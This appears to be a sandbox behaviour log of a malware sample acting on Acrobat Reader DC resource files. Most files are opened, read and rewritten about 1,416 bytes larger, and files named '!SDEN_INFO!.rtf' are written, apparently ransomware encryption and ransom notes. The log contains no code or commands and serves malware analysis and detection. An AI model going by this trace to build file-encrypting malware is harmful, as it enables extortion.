File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\ja-jp\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\ja-jp\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\ja-jp\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\ja-jp\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\sl-si\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\sl-si\ui-strings.js, size = 7766, size_out = 7766	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\sl-si\ui-strings.js, size = 9182	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\css\main-selector.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\css\main-selector.css, size = 802, size_out = 802	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\css\main-selector.css, size = 2218	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\new_icons_retina.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\new_icons_retina.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\new_icons_retina.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\new_icons_retina.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\ca-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\ca-es\ui-strings.js, size = 1931, size_out = 1931	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\ca-es\ui-strings.js, size = 3347	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\fr-fr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\fr-fr\ui-strings.js, size = 1864, size_out = 1864	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\fr-fr\ui-strings.js, size = 3280	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\pt-br\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\pt-br\ui-strings.js, size = 1814, size_out = 1814	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\pt-br\ui-strings.js, size = 3230	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\zh-cn\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\zh-cn\ui-strings.js, size = 1727, size_out = 1727	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\zh-cn\ui-strings.js, size = 3143	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\images\rhp_world_icon_hover.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\images\rhp_world_icon_hover.png, size = 388, size_out = 388	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\images\rhp_world_icon_hover.png, size = 1804	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\da-dk\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\da-dk\ui-strings.js, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\da-dk\ui-strings.js, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\da-dk\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\da-dk\ui-strings.js, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\pt-br\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\pt-br\ui-strings.js, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\pt-br\ui-strings.js, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\pt-br\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\pt-br\ui-strings.js, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\rhp\exportpdf-rna-selector.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\rhp\exportpdf-rna-selector.js, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\rhp\exportpdf-rna-selector.js, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\rhp\exportpdf-rna-selector.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\rhp\exportpdf-rna-selector.js, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\rhp_world_icon.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\rhp_world_icon.png, size = 445, size_out = 445	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\rhp_world_icon.png, size = 1861	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\ca-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\ca-es\ui-strings.js, size = 1133, size_out = 1133	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\fi-fi\!SDEN_INFO!.rtf, size = 2549	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\fr-ma\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\hu-hu\!SDEN_INFO!.rtf, size = 1152, size_out = 1152	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\hu-hu\!SDEN_INFO!.rtf, size = 2568	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\ro-ro\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\ro-ro\ui-strings.js, size = 1168, size_out = 1168	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\ro-ro\ui-strings.js, size = 2584	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\zh-tw\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\zh-tw\ui-strings.js, size = 1122, size_out = 1122	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\zh-tw\ui-strings.js, size = 2538	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\rhp_world_icon_hover.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\rhp_world_icon_hover.png, size = 388, size_out = 388	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\rhp_world_icon_hover.png, size = 1804	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\da-dk\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\da-dk\ui-strings.js, size = 1224, size_out = 1224	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\da-dk\ui-strings.js, size = 2640	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\hu-hu\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\hu-hu\ui-strings.js, size = 1252, size_out = 1252	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\hu-hu\ui-strings.js, size = 2668	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\ru-ru\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\ru-ru\ui-strings.js, size = 1372, size_out = 1372	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\ru-ru\ui-strings.js, size = 2788	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\plugins\rhp\createpdfupsell-app-selector.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\plugins\rhp\createpdfupsell-app-selector.js, size = 3962, size_out = 3962	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\plugins\rhp\createpdfupsell-app-selector.js, size = 5378	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\en-gb\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\en-gb\ui-strings.js, size = 823, size_out = 823	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\en-gb\ui-strings.js, size = 2239	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\ja-jp\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\ja-jp\ui-strings.js, size = 1433, size_out = 1433	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\ja-jp\ui-strings.js, size = 2849	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\sl-si\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\sl-si\ui-strings.js, size = 1356, size_out = 1356	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\sl-si\ui-strings.js, size = 2772	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files-select\css\main.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files-select\css\main.css, size = 4116, size_out = 4116	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files-select\css\main.css, size = 5532	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\da-dk\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\da-dk\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\da-dk\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\da-dk\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\hu-hu\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\hu-hu\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\hu-hu\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\hu-hu\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\ru-ru\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\ru-ru\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\ru-ru\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\ru-ru\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\selector.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\selector.js, size = 1789, size_out = 1789	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\selector.js, size = 3205	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\images\themes\dark\example_icons2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\images\themes\dark\example_icons2x.png, size = 1185, size_out = 1185	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\images\themes\dark\example_icons2x.png, size = 2601	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\en-gb\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\en-gb\ui-strings.js, size = 823, size_out = 823	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\en-gb\ui-strings.js, size = 2239	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\ja-jp\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\ja-jp\ui-strings.js, size = 1304, size_out = 1304	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\ja-jp\ui-strings.js, size = 2720	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\sl-si\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\sl-si\ui-strings.js, size = 1282, size_out = 1282	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\sl-si\ui-strings.js, size = 2698	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\plugins\rhp\editpdf-selector.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\plugins\rhp\editpdf-selector.js, size = 3569, size_out = 3569	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\plugins\rhp\editpdf-selector.js, size = 4985	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\themes\dark\example_icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\themes\dark\example_icons.png, size = 683, size_out = 683	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\themes\dark\example_icons.png, size = 2099	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\en-ae\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\en-ae\ui-strings.js, size = 1151, size_out = 1151	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\en-ae\ui-strings.js, size = 2567	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\ja-jp\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
